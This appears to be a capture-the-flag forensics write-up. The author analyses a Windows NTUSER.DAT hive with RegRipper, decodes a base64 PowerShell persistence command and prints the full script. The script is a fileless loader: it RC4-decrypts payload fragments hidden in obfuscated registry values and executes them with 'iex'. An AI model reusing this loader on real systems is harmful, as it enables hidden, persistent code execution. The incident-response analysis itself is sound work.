Challenge Description

Emergency! A space station near Urkir was compromised. Although Urkir is considered to be the very embodiment of the neutral state, it is rich of fuel substances, something that Dreager is very much interested in. Thus, there are now fears that the intergalactic war will also affect this neutral planet. If Draeger and his mercenaries manage to maintain unauthorised access in Urkir's space station and escalate their privileges, they will soon be able to activate the station's defence mechanisms that are able to prevent any spaceship from entering Urkir's airspace. For now, the infected machine is isolated until the case is closed. Help Miyuki find their persistence mechanisms so they cannot gain access again.

We are given a NTUSER.DAT file

In order to explore the file I used regripper tool in linux

we just need to give our NTUSER.DAT file and specify a name of a file to write the output in then for the plugin file option just choose ntuser-all. Finally, hit Rip it

It will finish the process after some time , now if we take a look at our output.txt file we can see many data written to it.

Most of the data are not much of interest but if we scroll down we can find this line right here

there is a base64 encoded string after the -enc tag.

I saved it in another file and decoded it using the base64 -d command and saved the output in a file called decoded.txt

Let’s have a look at it

It’s a PowerShell script so let’s rename it to script.ps1 since the extension of a PowerShell script is .ps1

This is the full script

function encr {
    param(
        [Byte[]]$data,
        [Byte[]]$key
      )
 
    [Byte[]]$buffer = New-Object Byte[] $data.Length
    $data.CopyTo($buffer, 0)
    
    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;
 
    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length];
    }
 
    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }
 
    $i = $j = 0;
    for ($x = 0; $x -lt $buffer.Length; $x++)
    {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $buffer[$x] = $buffer[$x] -bxor $s[$t];
    }
 
    return $buffer
}

function HexToBin {
    param(
    [Parameter(
        Position=0, 
        Mandatory=$true, 
        ValueFromPipeline=$true)
    ]   
    [string]$s)
    $return = @()
    
    for ($i = 0; $i -lt $s.Length ; $i += 2)
    {
        $return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
    }
    
    Write-Output $return
}

[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\AppDataLow\\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\Google\\Nv50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\\AppEvents\\Jx66ZG0O).jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex